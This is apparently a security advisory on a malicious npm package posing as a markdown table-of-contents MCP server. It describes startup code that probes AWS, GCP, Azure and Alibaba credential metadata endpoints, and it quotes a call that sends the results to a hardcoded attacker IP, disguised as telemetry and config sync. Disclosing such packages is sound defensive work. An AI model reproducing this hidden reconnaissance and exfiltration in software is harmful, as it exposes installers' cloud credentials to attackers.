GCVE-110-OSM-2026-14391

On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration. ENTRY index.js (bin: index.js) EXFIL - Suspicious Domain in index.js: "http://100.100.100.200" ADDITIONAL FINDINGS - Dynamic Code Execution in index.js: "exec(line)" - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern PAYLOAD FILES index.js